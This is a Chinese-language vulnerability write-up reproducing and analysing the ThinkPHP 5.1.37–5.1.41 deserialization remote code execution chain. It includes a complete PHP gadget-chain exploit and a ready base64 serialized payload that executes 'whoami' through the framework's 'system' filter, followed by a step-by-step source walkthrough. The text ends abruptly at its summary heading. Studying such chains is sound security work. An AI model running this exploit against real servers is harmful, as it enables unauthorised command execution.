Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞复现与分析

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Thinkphp5.1.37-5.1.41(最新版本) 反序列化漏洞复现与分析

Xz 2021-02-22 10:16:02 1545239

0x01 简介

记录自己学习与理解thinkphp的反序列漏洞的过程

0x02 影响版本

5.1.37-5.1.41（最新版本）

0x03 环境搭建

1、composer create-project topthink/think=5.1.37 v5.1.37（5.1.37-5.1.41都可）

2、github：

https://github.com/top-think/think/releases

https://github.com/top-think/framework/releases

0x04 漏洞复现

先添加一个反序列化的入口

在application\index\controller\index.php中将input参数反序列化

<?php
namespace app\index\controller;

class Index
{
public function index($input='')
{   
unserialize(base64_decode($input));
return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改（2006-2018） - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
}

public function hello($name = 'ThinkPHP5')
{
return 'hello,' . $name;
}
}

EXP：

<?php
namespace think;
abstract class Model{
protected $append = [];
private $data = [];
function __construct(){
$this->append = ["ethan"=>["dir","calc"]];
$this->data = ["ethan"=>new Request()];
}
}
class Request
{
protected $hook = [];
protected $filter = "system";
protected $config = [
// 表单请求类型伪装变量
'var_method'       => '_method',
// 表单ajax伪装变量
'var_ajax'         => '_ajax',
// 表单pjax伪装变量
'var_pjax'         => '_pjax',
// PATHINFO变量名 用于兼容模式
'var_pathinfo'     => 's',
// 兼容PATH_INFO获取
'pathinfo_fetch'   => ['ORIG_PATH_INFO', 'REDIRECT_PATH_INFO', 'REDIRECT_URL'],
// 默认全局过滤方法 用逗号分隔多个
'default_filter'   => '',
// 域名根，如thinkphp.cn
'url_domain_root'  => '',
// HTTPS代理标识
'https_agent_name' => '',
// IP代理获取标识
'http_agent_ip'    => 'HTTP_X_REAL_IP',
// URL伪静态后缀
'url_html_suffix'  => 'html',
];
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
}
}
namespace think\process\pipes;

use think\model\concern\Conversion;
use think\model\Pivot;
class Windows
{
private $files = [];

public function __construct()
{
$this->files=[new Pivot()];
}
}
namespace think\model;

use think\Model;

class Pivot extends Model
{
}
use think\process\pipes\Windows;
echo base64_encode(serialize(new Windows()));
/*input=TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJldGhhbiI7YToyOntpOjA7czozOiJkaXIiO2k6MTtzOjQ6ImNhbGMiO319czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo1OiJldGhhbiI7TzoxMzoidGhpbmtcUmVxdWVzdCI6Mzp7czo3OiIAKgBob29rIjthOjE6e3M6NzoidmlzaWJsZSI7YToyOntpOjA7cjo5O2k6MTtzOjY6ImlzQWpheCI7fX1zOjk6IgAqAGZpbHRlciI7czo2OiJzeXN0ZW0iO3M6OToiACoAY29uZmlnIjthOjE6e3M6ODoidmFyX2FqYXgiO3M6MDoiIjt9fX19fX0=&id=whoami*/
?>

5.1.37版本复现：

5.1.37

5.1.41版本复现

5.1.41

0x04 PHP序列化的相关知识

首先了解下魔法函数，方便后面利用链的理解。

__construct()：当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。

__destruct()：当对象被销毁时会自动调用。

__call()：是在对象上下文中调用不可访问的方法时触发

__callStatic()：是在静态上下文中调用不可访问的方法时触发。

__get()：用于从不可访问的属性读取数据。

__set()：用于将数据写入不可访问的属性。

__isset()：在不可访问的属性上调用isset()或empty()触发。

__unset()：在不可访问的属性上使用unset()时触发。

__sleep():在执行序列化函数serialize()时执行。

__wakeup():在执行反序列化函数unserialize()时执行。

__toString():当一个对象被当做字符串使用。

invoke():脚本尝试将对象调用为函数时，调用invoke()方法。

反序列化的常见起点

__wakeup:一定会调用

__destruct:一定会调用

__toString:当一个对象被反序列化后又被当做字符串使用

反序列化的常见中间跳板

__toString:当一个对象被当做字符串使用

__get:读取不可访问或不存在属性时被调用

__set:当给不可访问或不存在属性赋值时被调用

__isset:对不可访问或不存在的属性调用isset()或empty()时被调用

形如 $this->$func();

反序列化的常见终点:

__call:调用不可访问或不存在的方法时被调用

call_user_func:一般php代码执行都会选择这里

call_user_func_array:一般php代码执行都会选择这里

0x05 漏洞分析

从EXP入手去分析整个利用过程，在执行EXP时动态调试观察调用了哪些魔法函数

pop链

可以看到依次执行了destruct()→tostring()→call()→RCE

从起点开始一步一步跟进

1、在\thinkphp\library\think\process\pipes\windows.php中的__destruct调用了removeFiles方法

主要代码：

public function __destruct()

{
$this->close();
$this->removeFiles();
}
private function removeFiles()

{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

这里$filename会被当做字符串处理，而下一步的toString方法在一个对象被反序列化后又被当做字符串使用时会被触发，继续跟进toString方法

2、在\thinkphp\library\think\model\concern\Conversion.php中__toString中的函数执行过程为toJson→toArray

主要代码：

//thinkphp\library\think\model\concern\Conversion.php
public function __toString()
{
return $this->toJson();
}
public function toJson($options = JSON_UNESCAPED_UNICODE)
{
return json_encode($this->toArray(), $options);
}

visible

紧接着下一步调用了visible与call方法，猜测visible是一个不存在的方法，并自动调用了call；继续看toArray方法的逻辑部分

主要代码：

//thinkphp\library\think\model\concern\Conversion.php
public function toArray()
{
$item    = [];
$hasVisible = false;
...
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key);
if (!$relation) {
$relation = $this->getAttr($key);
if ($relation) {
$relation->visible($name);
}
}
}

这里的$this->append是我们可控的，这意味着$relation也可控，在toArray函数中调用一个getRelation()方法和一个getAttr()方法，在下面判断了变量$relation，若!$relation，继续调用getAttr()方法, 跟进getRelation方法

主要代码：

//thinkphp\library\think\model\concern\RelationShip.php
public function getRelation($name = null)
{
if (is_null($name)) {
return $this->relation;
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
return;
}

可以看到getRelation()执行结果返回为空，进而执行了getAttr()，继续跟进getAttr()

//thinkphp\library\think\model\concern\Attribute.php
public function getAttr($name, &$item = null)
{
try {
$notFound = false;
$value  = $this->getData($name);
} catch (InvalidArgumentException $e) {
$notFound = true;
$value  = null;
}
return $value;
}
public function getData($name = null)
{
if (is_null($name)) {
return $this->data;
} elseif (array_key_exists($name, $this->data)) {
return $this->data[$name];
} elseif (array_key_exists($name, $this->relation)) {
return $this->relation[$name];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

这里的getAttr()调用了getData()方法，所以toArray方法中的$relation的值为$this->data[$name]，也就是说$relation可控；然后控制$relation为一个类对象，调用不存在的visible方法后，会自动调用call方法，这个类中没有visible方法，但存在call,跟进__call

3、/thinkphp/library/think/Request.php中的__call方法的主要代码：

public function __call($method, $args)
{
if (array_key_exists($method, $this->hook)) {
array_unshift($args, $this);
return call_user_func_array($this->hook[$method], $args);
}
throw new Exception('method not exists:' . static::class . '->' . $method);
}

可以看到存在了回调函数call_user_func_array，并且this->hook[$method]我们可以控制，但是这里有个 array_unshift($args, $this);会把$this放到$arg数组的第一个元素，这样构造不出来参数可用的payload，因为第一个参数是$this对象。

filterValue

在利用链中发现，最终RCE是利用了Requests类的过滤器filter（多数RCE都是出自此处），调试器中依次调用了isAjax(),param(),input(),跟进这些方法，观察是如何执行的

4、在\thinkphp/library/think/Request.php的查看各个方法的主要代码

public function isAjax($ajax = false)
  {
    $value = $this->server('HTTP_X_REQUESTED_WITH');
    $result = 'xmlhttprequest' == strtolower($value) ? true : false;
    if (true === $ajax) {
      return $result;
    }
    $result      = $this->param($this->config['var_ajax']) ? true : $result;
    $this->mergeParam = false;
    return $result;
  }

在isAjax函数中，我们可以控制$this->config['var_ajax']，这里调用了param方法，继续跟进

public function param($name = '', $default = null, $filter = '')
  {
     if (!$this->mergeParam) {
      $method = $this->method(true);
      .....
      $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));
      $this->mergeParam = true;
    }
    if (true === $name) {
      // 获取包含文件上传信息的数组
      $file = $this->file();
      $data = is_array($file) ? array_merge($this->param, $file) : $this->param;
      return $this->input($data, '', $default, $filter);
    }
    return $this->input($this->param, $name, $default, $filter);

}

这里在最后调用了input()函数，由于之前的isAjax()中$this->config['var_ajax']可控，所以这里param($name)可控，跟进input()

public function input($data = [], $name = '', $default = null, $filter = '')
  {
    if (false === $name) {
      // 获取原始数据
      return $data;
    }
    ....
    // 解析过滤器
   $filter = $this->getFilter($filter, $default);
    if (is_array($data)) {
      array_walk_recursive($data, [$this, 'filterValue'], $filter);
     .....
    } else {
      $this->filterValue($data, $name, $filter);
    }

input()使用回调函数调用了filterValue(),由于param中的$name可控，所以input()中的$name可控，然后input()中又调用了filterValue(),这样的话filterValue()中的$name也就是可控的，跟进filterValue()

主要代码：

private function filterValue(&$value, $key, $filters)
{
  $default = array_pop($filters);
  foreach ($filters as $filter) {
    if (is_callable($filter)) {
      // 调用函数或者方法过滤
      $value = call_user_func($filter, $value);

该方法调用了call_user_func函数，从input()中得知，filterValue()的value值可控

继续查看input()的主要代码部分：

public function input($data = [], $name = '', $default = null, $filter = '')
  {
    if (false === $name) {
      // 获取原始数据
      return $data;
    }
    ....
     $data = $this->getData($data, $name);
    ....
    // 解析过滤器
    $filter = $this->getFilter($filter, $default);
    if (is_array($data)) {
      array_walk_recursive($data, [$this, 'filterValue'], $filter);
     .....
    } else {
      $this->filterValue($data, $name, $filter);
    }

这里$data=$this->getData($data, $name)

$filter = $this->getFilter($filter, $default)

两个关键的参数，跟进getData()代码：

protected function getData(array $data, $name)
  {
    foreach (explode('.', $name) as $val) {
      if (isset($data[$val])) {
        $data = $data[$val];
      } else {
        return;
      }
    }
    return $data;
}

$name由在最开始的isAjax()中的$this->config['var_ajax']来控制，最终返回$data=$data[$name]

getFilter()代码：

protected function getFilter($filter, $default)
  {
    if (is_null($filter)) {
      $filter = [];
    } else {
      $filter = $filter ?: $this->filter;
      if (is_string($filter) && false === strpos($filter, '/')) {
        $filter = explode(',', $filter);
      } else {
        $filter = (array) $filter;
      }
    }
    $filter[] = $default;
    return $filter;
}

这里$filter可控，$this->filter,在EXP直接赋值即可，这样所有可控条件都达成，成功RCE

总结一下：

利用链：